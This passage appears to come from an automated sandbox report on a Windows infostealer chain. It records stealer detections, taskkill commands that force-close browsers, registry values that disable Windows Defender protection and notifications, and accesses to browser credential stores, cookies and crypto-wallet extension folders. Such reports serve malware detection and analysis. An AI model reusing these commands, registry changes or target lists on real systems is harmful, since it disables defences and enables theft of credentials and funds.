Source: C:\Users\user\AppData\Local\Temp\1013538001\2ada66c192.exe	Code function: 11_2_00694CE8 mov eax, dword ptr fs:[00000030h]	11_2_00694CE8

Source: C:\Users\user\AppData\Local\Temp\1013538001\2ada66c192.exe

Code function: 11_2_006D0B62 GetSecurityDescriptorDacl,GetAclInformation,GetLengthSid,GetLengthSid,GetAce,AddAce,GetLengthSid,GetProcessHeap,HeapAlloc,GetLengthSid,CopySid,AddAce,SetSecurityDescriptorDacl,SetUserObjectSecurity,HeapFree,GetProcessHeap,HeapFree,GetProcessHeap,HeapFree,GetProcessHeap,HeapFree,GetProcessHeap,HeapFree,

11_2_006D0B62

Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug
Source: C:\Users\user\AppData\Local\Temp\1013539001\9c2827fca4.exe	Process token adjusted: Debug

Source: C:\Users\user\AppData\Local\Temp\1013538001\2ada66c192.exe	Code function: 11_2_006A2622 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	11_2_006A2622
Source: C:\Users\user\AppData\Local\Temp\1013538001\2ada66c192.exe	Code function: 11_2_0069083F IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	11_2_0069083F
Source: C:\Users\user\AppData\Local\Temp\1013538001\2ada66c192.exe	Code function: 11_2_006909D5 SetUnhandledExceptionFilter,	11_2_006909D5
Source: C:\Users\user\AppData\Local\Temp\1013538001\2ada66c192.exe	Code function: 11_2_00690C21 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	11_2_00690C21

Source: C:\Users\user\AppData\Local\Temp\1013537001\37df924488.exe

Memory protected: page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match	File source: Process Memory Space: 37df924488.exe PID: 7148, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 37df924488.exe PID: 6796, type: MEMORYSTR

Source: C:\Users\user\AppData\Local\Temp\1013538001\2ada66c192.exe

11_2_006D1201

Source: C:\Users\user\AppData\Local\Temp\1013538001\2ada66c192.exe

Code function: 11_2_006B2BA5 KiUserCallbackDispatcher,SetCurrentDirectoryW,GetForegroundWindow,ShellExecuteW,

11_2_006B2BA5

Source: C:\Users\user\AppData\Local\Temp\1013538001\2ada66c192.exe

Code function: 11_2_006DB226 SendInput,keybd_event,

11_2_006DB226

Source: C:\Users\user\AppData\Local\Temp\1013538001\2ada66c192.exe

Code function: 11_2_006F22DA GetForegroundWindow,GetDesktopWindow,GetWindowRect,mouse_event,GetCursorPos,mouse_event,

11_2_006F22DA

Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1013536001\ae5cfd188c.exe "C:\Users\user\AppData\Local\Temp\1013536001\ae5cfd188c.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1013537001\37df924488.exe "C:\Users\user\AppData\Local\Temp\1013537001\37df924488.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1013538001\2ada66c192.exe "C:\Users\user\AppData\Local\Temp\1013538001\2ada66c192.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1013539001\9c2827fca4.exe "C:\Users\user\AppData\Local\Temp\1013539001\9c2827fca4.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013536001\ae5cfd188c.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=ae5cfd188c.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013536001\ae5cfd188c.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=ae5cfd188c.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\1013538001\2ada66c192.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Users\user\AppData\Local\Temp\1013538001\2ada66c192.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Users\user\AppData\Local\Temp\1013538001\2ada66c192.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Users\user\AppData\Local\Temp\1013538001\2ada66c192.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Users\user\AppData\Local\Temp\1013538001\2ada66c192.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T
Source: C:\Users\user\AppData\Local\Temp\1013538001\2ada66c192.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Users\user\AppData\Local\Temp\1013538001\2ada66c192.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Users\user\AppData\Local\Temp\1013538001\2ada66c192.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Users\user\AppData\Local\Temp\1013538001\2ada66c192.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Users\user\AppData\Local\Temp\1013538001\2ada66c192.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T

Source: C:\Users\user\AppData\Local\Temp\1013538001\2ada66c192.exe

11_2_006D0B62

Source: C:\Users\user\AppData\Local\Temp\1013538001\2ada66c192.exe

Code function: 11_2_006D1663 AllocateAndInitializeSid,CheckTokenMembership,FreeSid,

11_2_006D1663

Source: 2ada66c192.exe, 0000000B.00000000.2593438166.0000000000732000.00000002.00000001.01000000.0000000B.sdmp, 2ada66c192.exe, 0000001E.00000002.2915748492.0000000000732000.00000002.00000001.01000000.0000000B.sdmp, 2ada66c192.exe, 0000002C.00000000.2906143455.0000000000732000.00000002.00000001.01000000.0000000B.sdmp	Binary or memory string: Run Script:AutoIt script files (.au3, .a3x).au3;.a3xAll files (.).au3#include depth exceeded. Make sure there are no recursive includesError opening the file>>>AUTOIT SCRIPT<<<Bad directive syntax errorUnterminated stringCannot parse #includeUnterminated group of commentsONOFF0%d%dShell_TrayWndREMOVEKEYSEXISTSAPPENDblankinfoquestionstopwarning
Source: 37df924488.exe, 37df924488.exe, 00000009.00000002.2576273292.0000000000A5B000.00000040.00000001.01000000.0000000A.sdmp	Binary or memory string: dProgram Manager
Source: 9c2827fca4.exe, 0000001C.00000002.2847103308.0000000000858000.00000040.00000001.01000000.00000012.sdmp	Binary or memory string: nProgram Manager
Source: 2ada66c192.exe	Binary or memory string: Shell_TrayWnd
Source: firefox.exe, 00000018.00000002.2789947329.000000D7FE7FB000.00000004.00000010.00020000.00000000.sdmp	Binary or memory string: ?Progman
Source: file.exe, 00000000.00000002.1709781128.0000000000C17000.00000040.00000001.01000000.00000003.sdmp, skotes.exe, 00000001.00000002.1747717299.0000000000CD7000.00000040.00000001.01000000.00000007.sdmp, skotes.exe, 00000002.00000002.1755986614.0000000000CD7000.00000040.00000001.01000000.00000007.sdmp	Binary or memory string: ^lProgram Manager

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Code function: 6_2_00ABDD91 cpuid

6_2_00ABDD91

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1013536001\ae5cfd188c.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1013536001\ae5cfd188c.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1013537001\37df924488.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1013537001\37df924488.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1013538001\2ada66c192.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1013538001\2ada66c192.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1013539001\9c2827fca4.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1013539001\9c2827fca4.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013536001\ae5cfd188c.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013537001\37df924488.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013536001\ae5cfd188c.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013537001\37df924488.exe	Queries volume information: C:\ VolumeInformation

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_009FCBEA GetSystemTimePreciseAsFileTime,GetSystemTimePreciseAsFileTime,

0_2_009FCBEA

Source: C:\Users\user\AppData\Local\Temp\1013538001\2ada66c192.exe

Code function: 11_2_006CD27A GetUserNameW,

11_2_006CD27A

Source: C:\Users\user\AppData\Local\Temp\1013538001\2ada66c192.exe

Code function: 11_2_006ABB6F _free,GetTimeZoneInformation,WideCharToMultiByte,WideCharToMultiByte,

11_2_006ABB6F

Source: C:\Users\user\AppData\Local\Temp\1013538001\2ada66c192.exe

Code function: 11_2_006742DE GetVersionExW,GetCurrentProcess,IsWow64Process,LoadLibraryA,GetProcAddress,GetNativeSystemInfo,FreeLibrary,GetSystemInfo,GetSystemInfo,

11_2_006742DE

Source: C:\Users\user\AppData\Local\Temp\1013536001\ae5cfd188c.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Lowering of HIPS / PFW / Operating System Security Settings

Disable Windows Defender notifications (registry)

Source: C:\Users\user\AppData\Local\Temp\1013539001\9c2827fca4.exe

Registry key value created / modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications DisableNotifications 1

Disable Windows Defender real time protection (registry)

Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	Registry value created: DisableIOAVProtection 1
Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	Registry value created: DisableRealtimeMonitoring 1
Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications	Registry value created: DisableNotifications 1

Disables Windows Defender Tamper protection

Source: C:\Users\user\AppData\Local\Temp\1013539001\9c2827fca4.exe

Registry value created: TamperProtection 0

Modifies windows update settings

Source: C:\Users\user\AppData\Local\Temp\1013539001\9c2827fca4.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU AUOptions
Source: C:\Users\user\AppData\Local\Temp\1013539001\9c2827fca4.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU AutoInstallMinorUpdates
Source: C:\Users\user\AppData\Local\Temp\1013539001\9c2827fca4.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate DoNotConnectToWindowsUpdateInternetLocations

Source: ae5cfd188c.exe, 0000000A.00000003.2787137785.0000000000C35000.00000004.00000020.00020000.00000000.sdmp, ae5cfd188c.exe, 0000000A.00000002.2812159132.0000000000C35000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Source: C:\Users\user\AppData\Local\Temp\1013536001\ae5cfd188c.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct
Source: C:\Users\user\AppData\Local\Temp\1013536001\ae5cfd188c.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Stealing of Sensitive Information

Yara detected Amadeys stealer DLL

Source: Yara match	File source: 6.2.skotes.exe.aa0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.skotes.exe.aa0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.file.exe.9e0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.skotes.exe.aa0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000002.00000002.1754799297.0000000000AA1000.00000040.00000001.01000000.00000007.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1709477652.00000000009E1000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.1746831215.0000000000AA1000.00000040.00000001.01000000.00000007.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.2918299044.0000000000AA1000.00000040.00000001.01000000.00000007.sdmp, type: MEMORY

Yara detected Credential Flusher

Source: Yara match

File source: Process Memory Space: 2ada66c192.exe PID: 1364, type: MEMORYSTR

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: ae5cfd188c.exe PID: 7872, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: ae5cfd188c.exe PID: 3512, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP

Yara detected Stealc

Source: Yara match	File source: 00000009.00000002.2578174288.000000000143E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001B.00000002.2760593914.0000000000681000.00000040.00000001.01000000.0000000A.sdmp, type: MEMORY
Source: Yara match	File source: 0000001B.00000002.2764793088.000000000142B000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000003.2534662557.0000000004EC0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001B.00000003.2673057530.0000000005030000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.2575911980.0000000000681000.00000040.00000001.01000000.0000000A.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 37df924488.exe PID: 7148, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 37df924488.exe PID: 6796, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Found many strings related to Crypto-Wallets (likely being stolen)

Source: ae5cfd188c.exe, 00000007.00000003.2496625597.0000000000C54000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %appdata%\Electrum\wallets=
Source: ae5cfd188c.exe, 00000007.00000003.2496625597.0000000000C54000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: s/ElectronCash
Source: ae5cfd188c.exe, 00000007.00000003.2496625597.0000000000C54000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Jaxx Libertyfilplm
Source: ae5cfd188c.exe, 00000007.00000003.2496625597.0000000000C54000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: r-print.fp","simple-storage.json","window-state.json"],"z":"Wallets/Bina
Source: ae5cfd188c.exe, 0000000A.00000003.2630336262.0000000000CC1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: s/Ethereum","d":1,"fs":20971520},{"t":0,"p":"%appdata%\\Exodus\\exodus.wu
Source: ae5cfd188c.exe, 00000007.00000003.2496625597.0000000000C54000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: ExodusWeb3
Source: ae5cfd188c.exe, 00000007.00000003.2496625597.0000000000C54000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: 0,"p":"%appdata%\\Ethereum","m":g
Source: ae5cfd188c.exe, 00000007.00000003.2496625597.0000000000C54000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %localappdata%\Coinomi\Coinomi\wallets
Source: ae5cfd188c.exe, 00000007.00000003.2496625597.0000000000C54000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: keystore
Source: ae5cfd188c.exe, 00000007.00000003.2496625597.0000000000C54000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Ledger Live

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\AppData\Local\Temp\1013536001\ae5cfd188c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013536001\ae5cfd188c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013536001\ae5cfd188c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013536001\ae5cfd188c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013536001\ae5cfd188c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013536001\ae5cfd188c.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013536001\ae5cfd188c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013536001\ae5cfd188c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013536001\ae5cfd188c.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013536001\ae5cfd188c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013536001\ae5cfd188c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013536001\ae5cfd188c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013536001\ae5cfd188c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013536001\ae5cfd188c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013536001\ae5cfd188c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013536001\ae5cfd188c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013536001\ae5cfd188c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013536001\ae5cfd188c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013536001\ae5cfd188c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013536001\ae5cfd188c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013536001\ae5cfd188c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013536001\ae5cfd188c.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\key4.db	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013536001\ae5cfd188c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013536001\ae5cfd188c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013536001\ae5cfd188c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013536001\ae5cfd188c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013536001\ae5cfd188c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013536001\ae5cfd188c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013536001\ae5cfd188c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013536001\ae5cfd188c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\abogmiocnneedmmepnohnhlijcjpcifd	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013536001\ae5cfd188c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013536001\ae5cfd188c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013536001\ae5cfd188c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013536001\ae5cfd188c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013536001\ae5cfd188c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013536001\ae5cfd188c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013536001\ae5cfd188c.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013536001\ae5cfd188c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013536001\ae5cfd188c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013536001\ae5cfd188c.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013536001\ae5cfd188c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013536001\ae5cfd188c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013536001\ae5cfd188c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013536001\ae5cfd188c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013536001\ae5cfd188c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013536001\ae5cfd188c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013536001\ae5cfd188c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013536001\ae5cfd188c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013536001\ae5cfd188c.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013536001\ae5cfd188c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013536001\ae5cfd188c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cpojfbodiccabbabgimdeohkkpjfpbnf	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013536001\ae5cfd188c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013536001\ae5cfd188c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd	Jump to behavior
